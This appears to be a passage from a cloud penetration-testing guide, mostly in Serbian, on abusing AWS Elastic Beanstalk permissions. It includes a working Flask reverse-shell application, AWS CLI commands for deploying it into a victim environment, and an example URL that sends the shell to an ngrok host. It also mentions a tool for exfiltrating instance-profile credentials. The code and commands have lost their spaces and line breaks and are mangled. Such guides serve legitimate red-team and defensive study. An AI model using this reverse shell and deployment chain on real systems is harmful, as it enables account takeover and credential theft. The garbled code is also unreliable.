Da biste izvršili osetljive radnje u Beanstalk-u, biće vam potrebne brojne osetljive dozvole u različitim servisima. Možete proveriti, na primer, dozvole koje su date za arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, S3 write permissions & many others
Sa dozvolama za pisanje nad S3 bucket-om koji sadrži kod okruženja i dozvolama za ponovno izgradnju aplikacije (potrebno je elasticbeanstalk:RebuildEnvironment i još nekoliko povezanih sa S3, EC2 i Cloudformation), možete modifikovatikod, ponovo izgraditi aplikaciju i sledeći put kada pristupite aplikaciji, ona će izvršiti vaš novi kod, omogućavajući napadaču da kompromituje aplikaciju i IAM uloge njene kredencijale.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, i još mnogo toga...
Pomenute, plus nekoliko S3, EC2, cloudformation, autoscaling i elasticloadbalancing dozvola su neophodne za kreiranje osnovnog Elastic Beanstalk scenarija od nule.
Prvo što treba da uradite je da kreirate legit Beanstalk okruženje sa kodom koji želite da pokrenete u žrtvi prateći prethodne korake. Potencijalno jednostavan zip koji sadrži ova 2 fajla:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Kada imate svoju Beanstalk okolinu koja radi vašu rev shell, vreme je da je migrate u žrtvinu okolinu. Da biste to uradili, potrebno je da ažurirate Bucket Policy vašeg beanstalk S3 bucket-a tako da žrtva može da mu pristupi (Napomena: ovo će otvoriti Bucket za SVE):
# Use a new --version-label# Use the bucket from your own accountawselasticbeanstalkcreate-application-version--application-nameMyApp--version-labelMyApp-2.0--source-bundleS3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
ThedeveloperhasintentionstoestablishareverseshellusingNetcatorSocatwithnextstepstokeepexploitationcontainedtotheec2instancetoavoiddetections.